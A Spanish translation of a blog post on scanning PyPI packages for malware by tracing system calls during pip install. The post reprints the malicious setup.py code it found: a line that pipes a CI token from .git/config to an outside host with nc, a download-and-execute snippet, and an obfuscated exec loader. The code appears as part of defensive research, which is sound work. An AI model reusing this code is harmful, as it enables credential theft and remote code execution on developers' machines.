Verifique miles de paquetes de PyPI en busca de malware

Hace aproximadamente un año, la Python Software Foundation abrió una Solicitud de información (RFI) para discutir cómo se pueden detectar los paquetes maliciosos cargados en PyPI. Obviamente, este es un problema real que afecta a casi cualquier administrador de paquetes: secuestro de los nombres de paquetes abandonados por los desarrolladores , explotación de errores tipográficos en los nombres de bibliotecas populares o robo de paquetes por credenciales de empaquetado .



La realidad es que los administradores de paquetes como PyPI son una infraestructura crítica que utilizan casi todas las empresas. Podría escribir mucho sobre este tema, pero esta versión de xkcd será suficiente por ahora.











Esta área de conocimiento es interesante para mí, por lo que respondí con mis pensamientos sobre cómo podemos abordar la solución del problema. Vale la pena leer la publicación completa, pero un pensamiento me persiguió: qué sucede inmediatamente después de que se instala el paquete.



Acciones como configurar conexiones de red o ejecutar comandos durante un proceso pip install



siempre deben tomarse con precaución, ya que no le dan al desarrollador casi ninguna forma de examinar el código antes de que suceda algo malo.



Quería profundizar en este asunto, por lo que en esta publicación explicaré cómo instalé y analicé cada paquete de PyPI en busca de actividad maliciosa.



Cómo encontrar bibliotecas maliciosas



Los autores suelen agregar código a setup.py



su archivo de paquete para ejecutar comandos arbitrarios durante la instalación . Se pueden ver ejemplos en este repositorio .



En un nivel alto, para encontrar dependencias potencialmente dañinas, podemos hacer dos cosas: buscar en el código cosas malas (análisis estático) o arriesgarnos e instalarlas para ver qué sucede (análisis dinámico).



Aunque el análisis estático es muy interesante (gracias a grep



que encontré paquetes maliciosos incluso en npm ), en esta publicación cubriré el análisis dinámico. Al final, lo encuentro más confiable, porque estamos observando lo que realmente está sucediendo , y no solo buscando cosas desagradables que pueden suceder.



Entonces, ¿qué estamos buscando?



Cómo se realizan las acciones importantes



En general, cuando sucede algo importante, el proceso lo realiza el kernel. Los programas regulares (por ejemplo pip



) que quieren hacer cosas importantes a través del kernel usan syscalls . Abrir archivos, establecer conexiones de red, ejecutar comandos: ¡todo esto se hace a través de llamadas al sistema!



Puedes aprender más sobre esto en el cómic de Julia Evans :





Esto significa que si podemos observar las llamadas al sistema mientras instalamos el paquete Python, podemos averiguar si está sucediendo algo sospechoso. La ventaja de este enfoque es que no depende del grado de ofuscación del código: vemos exactamente lo que está sucediendo realmente.



Es importante señalar que no se me ocurrió la idea de ver llamadas al sistema. Personas como Adam Baldwin han estado hablando de esto desde 2017 . Además, hay un gran artículo publicado por el Instituto de Tecnología de Georgia que, entre otras cosas, adopta el mismo enfoque. Honestamente, en esta publicación solo intentaré reproducir su trabajo.



Entonces sabemos que queremos rastrear las llamadas al sistema, pero ¿cómo lo hacemos exactamente?



Seguimiento de llamadas al sistema con Sysdig



Hay muchas herramientas disponibles para monitorear llamadas al sistema. Para mi proyecto, utilicé sysdig, ya que proporciona una salida estructurada y funciones de filtrado convenientes.



Para que funcione, cuando inicio el contenedor Docker que instala el paquete, también inicié el proceso sysdig, que solo monitorea los eventos de ese contenedor. También filté las operaciones de lectura / escritura de red desde / hacia pypi.org



o files.pythonhosted.com



, porque no quería saturar los registros con tráfico relacionado con las descargas de paquetes.



Habiendo encontrado una manera de interceptar las llamadas al sistema, tuve que resolver otro problema: obtener una lista de todos los paquetes de PyPI.



Obtener paquetes de Python



Afortunadamente para nosotros, PyPI tiene una API llamada "API simple" que también se puede considerar como "una página HTML muy grande con un enlace a cada paquete" porque eso es lo que es. Esta es una página sencilla y ordenada escrita en HTML de muy alta calidad.



Puede tomar esta página y analizar todos los enlaces con la ayuda pup



, habiendo recibido alrededor de 268 mil paquetes:



❯ curl https://pypi.org/simple/ | pup 'a text{}' > pypi_full.txt               

❯ wc -l pypi_full.txt 
  268038 pypi_full.txt
      
      





Para este experimento, solo me interesará la versión más reciente de cada paquete. Existe la posibilidad de que haya versiones maliciosas de paquetes enterrados en versiones anteriores, pero las facturas de AWS no se pagarán solas.



Como resultado, terminé con algo como esta canalización de procesamiento:









En resumen, enviamos el nombre de cada paquete a un conjunto de instancias EC2 (en el futuro, me gustaría usar algo como Fargate, pero no conozco Fargate, entonces ...), que obtiene los metadatos del paquete de PyPI y luego ejecuta sysdig. así como un conjunto de contenedores para instalar el paquete pip install



, mientras se recopila información sobre llamadas al sistema y tráfico de red. Luego, todos los datos se transfieren a S3 para que yo los maneje.



Así es como se ve el proceso:









resultados



Después de completar el proceso, obtuve aproximadamente un terabyte de datos ubicados en el depósito S3 y cubriendo aproximadamente 245 mil paquetes. Algunos paquetes no tenían versiones publicadas, otros tenían varios errores de procesamiento, pero en general parece una gran muestra para trabajar.



Ahora, la parte divertida: un montón de análisis grep .



Combiné los metadatos y la salida, lo que resultó en un conjunto de archivos JSON que se parecían a esto:



{
    "metadata": {},
    "output": {
        "dns": [],         // Any DNS requests made
        "files": [],       // All file access operations
        "connections": [], // TCP connections established
        "commands": [],    // Any commands executed
    }
}
      
      





Luego escribí un conjunto de scripts para comenzar a recopilar datos, tratando de averiguar qué es inofensivo y qué es dañino. Exploremos algunos de los resultados.



Solicitudes de red



Hay muchas razones por las que un paquete puede necesitar crear una conexión de red durante el proceso de instalación. Quizás necesite descargar archivos binarios u otros recursos, puede ser algún tipo de análisis o puede estar tratando de extraer datos o información contable del sistema.



Como resultado, resultó que 460 paquetes crean conexiones de red a 109 hosts únicos. Como se mencionó en el artículo mencionado anteriormente, muchos de ellos son causados ​​por el hecho de que los paquetes tienen una dependencia común que crea una conexión de red. Puede filtrarlos haciendo coincidir las dependencias, pero aún no lo he hecho. Aquí encontrará



un desglose detallado de las búsquedas de DNS observadas durante la instalación .



Ejecución del comando



Al igual que con las conexiones de red, los paquetes pueden tener motivos inofensivos para ejecutar comandos del sistema durante la instalación. Esto se puede hacer para compilar binarios nativos, configurar el entorno deseado, etc.



Al examinar nuestra muestra, resultó que 60,725 paquetes están ejecutando comandos durante la instalación. Y al igual que con las conexiones de red, tenga en cuenta que muchas de ellas son el resultado de la dependencia del paquete que ejecuta los comandos.



Paquetes interesantes



Después de examinar los resultados, la mayoría de las conexiones de red y los comandos parecían inofensivos como se esperaba. Pero hay varios casos de comportamiento extraño que quería señalar para demostrar la utilidad de este tipo de análisis.



i-am-malicious





El paquete nombrado i-am-malicious



parece ser un verificador de conceptos de un paquete malicioso. Aquí hay algunos detalles interesantes que nos dan una idea de que vale la pena investigar este paquete (si su nombre no fuera suficiente para nosotros):



{
  "dns": [{
          "name": "gist.githubusercontent.com",
          "addresses": [
            "199.232.64.133"
          ]
    }]
  ],
  "files": [
    ...
    {
      "filename": "/tmp/malicious.py",
      "flag": "O_RDONLY|O_CLOEXEC"
    },
    ...
    {
      "filename": "/tmp/malicious-was-here",
      "flag": "O_TRUNC|O_CREAT|O_WRONLY|O_CLOEXEC"
    },
    ...
  ],
  "commands": [
    "python /tmp/malicious.py"
  ]
}
      
      





Inmediatamente comenzamos a comprender lo que está sucediendo aquí. Vemos la conexión que se está realizando gist.github.com



, la ejecución del archivo Python y la creación de un archivo llamado /tmp/malicious-was-here



. Por supuesto, esto ocurre precisamente en setup.py



:



from urllib.request import urlopen

handler = urlopen("https://gist.githubusercontent.com/moser/49e6c40421a9c16a114bed73c51d899d/raw/fcdff7e08f5234a726865bb3e02a3cc473cecda7/malicious.py")
with open("/tmp/malicious.py", "wb") as fp:
    fp.write(handler.read())

import subprocess

subprocess.call(["python", "/tmp/malicious.py"])
      
      





El archivo malicious.py



simplemente agrega /tmp/malicious-was-here



"He estado aquí" al mensaje, dando a entender que se trata de una prueba de concepto.



maliciouspackage





Otro paquete de malware de estilo propio, ingeniosamente nombrado maliciouspackage



, es un poco más malicioso. Aquí está su salida:



{
  "dns": [{
      "name": "laforge.xyz",
      "addresses": [
        "34.82.112.63"
      ]
  }],
  "files": [
    {
      "filename": "/app/.git/config",
      "flag": "O_RDONLY"
    },
  ],
  "commands": [
    "sh -c apt install -y socat",
    "sh -c grep ci-token /app/.git/config | nc laforge.xyz 5566",
    "grep ci-token /app/.git/config",
    "nc laforge.xyz 5566"
  ]
}
      
      





Como en el primer caso, esto nos da una buena idea de lo que está sucediendo. En este ejemplo, el paquete extrae el token del archivo .git/config



y lo carga en laforge.xyz



. Al mirar setup.py



, podemos ver exactamente lo que está sucediendo:



...
import os
os.system('apt install -y socat')
os.system('grep ci-token /app/.git/config | nc laforge.xyz 5566')
      
      





easyIoCtl





El paquete es curioso easyIoCtl



. Afirma proporcionar "abstracciones de aburridas E / S", pero vemos que se ejecutan los siguientes comandos:



[
  "sh -c touch /tmp/testing123",
  "touch /tmp/testing123"
]
      
      





Sospechoso, pero no dañino. Sin embargo, este es un ejemplo perfecto del poder del seguimiento de llamadas al sistema. Aquí está el código relevante en el setup.py



proyecto:



class MyInstall():
    def run(self):
        control_flow_guard_controls = 'l0nE@`eBYNQ)Wg+-,ka}fM(=2v4AVp![dR/\\ZDF9s\x0c~PO%yc X3UK:.w\x0bL$Ijq<&\r6*?\'1>mSz_^C\to#hiJtG5xb8|;\n7T{uH]"r'
        control_flow_guard_mappers = [81, 71, 29, 78, 99, 83, 48, 78, 40, 90, 78, 40, 54, 40, 46, 40, 83, 6, 71, 22, 68, 83, 78, 95, 47, 80, 48, 34, 83, 71, 29, 34, 83, 6, 40, 83, 81, 2, 13, 69, 24, 50, 68, 11]
        control_flow_guard_init = ""
        for controL_flow_code in control_flow_guard_mappers:
            control_flow_guard_init = control_flow_guard_init + control_flow_guard_controls[controL_flow_code]
        exec(control_flow_guard_init)
      
      





Con este nivel de ofuscación, es difícil comprender lo que está sucediendo. El análisis estático tradicional podría rastrear la llamada exec



, pero eso es todo.



Para ver lo que está sucediendo, podemos reemplazar exec



con print



, obteniendo esto:



import os;os.system('touch /tmp/testing123')
      
      





Es este comando el que rastreamos, y demuestra que incluso ofuscar el código no afecta los resultados, porque estamos rastreando a nivel de llamadas al sistema.



¿Qué sucede cuando encontramos un paquete malicioso?



Vale la pena describir brevemente lo que podemos hacer cuando encontramos un paquete malicioso. El primer paso es notificar a los voluntarios de PyPI para que puedan eliminar el paquete. Puede hacerlo escribiendo a security@python.org.



Luego, puede ver cuántas veces se descargó este paquete con el conjunto de datos públicos de PyPI en BigQuery.



Aquí hay un ejemplo de consulta para averiguar cuántas veces se maliciouspackage



ha descargado en los últimos 30 días:



#standardSQL
SELECT COUNT(*) AS num_downloads
FROM `the-psf.pypi.file_downloads`
WHERE file.project = 'maliciouspackage'
  -- Only query the last 30 days of history
  AND DATE(timestamp)
    BETWEEN DATE_SUB(CURRENT_DATE(), INTERVAL 30 DAY)
    AND CURRENT_DATE()
      
      





La ejecución de esta consulta muestra que se ha descargado más de 400 veces:









Hacia adelante



Hasta ahora, solo hemos analizado PyPI en general. Mirando los datos, no pude encontrar paquetes que realicen acciones maliciosas significativas sin la palabra "malicioso" en el nombre. ¡Y esto es bueno! Pero siempre existe la posibilidad de que me haya perdido algo, o puede suceder en el futuro. Si tiene curiosidad por los datos, puede encontrarlos aquí .



Más tarde, escribiré una función lambda para obtener los últimos cambios del paquete utilizando la fuente RSS de PyPI. Cada paquete actualizado se someterá al mismo procesamiento y enviará una notificación si se detecta actividad sospechosa.



Todavía no me gusta que sea posible ejecutar comandos arbitrarios en el sistema del usuario simplemente instalando el paquete a través depip install



... Entiendo que la mayoría de los casos de uso son inofensivos, pero esto abre oportunidades de amenazas que deben tenerse en cuenta. Con suerte, al fortalecer nuestro monitoreo de los diversos administradores de paquetes, podemos detectar signos de actividad maliciosa antes de que tengan un impacto grave.



Y esta situación no es exclusiva de PyPI. Más adelante, espero hacer el mismo análisis para RubyGems, npm y otros administradores que los investigadores mencionados anteriormente. Todo el código utilizado para ejecutar el experimento se puede encontrar aquí . Como siempre, si tienes alguna pregunta, ¡ hazla !






Publicidad



VDSina ofrece servidores virtuales para Linux y Windows : elija uno de los sistemas operativos preinstalados o instálelo desde su imagen.






All Articles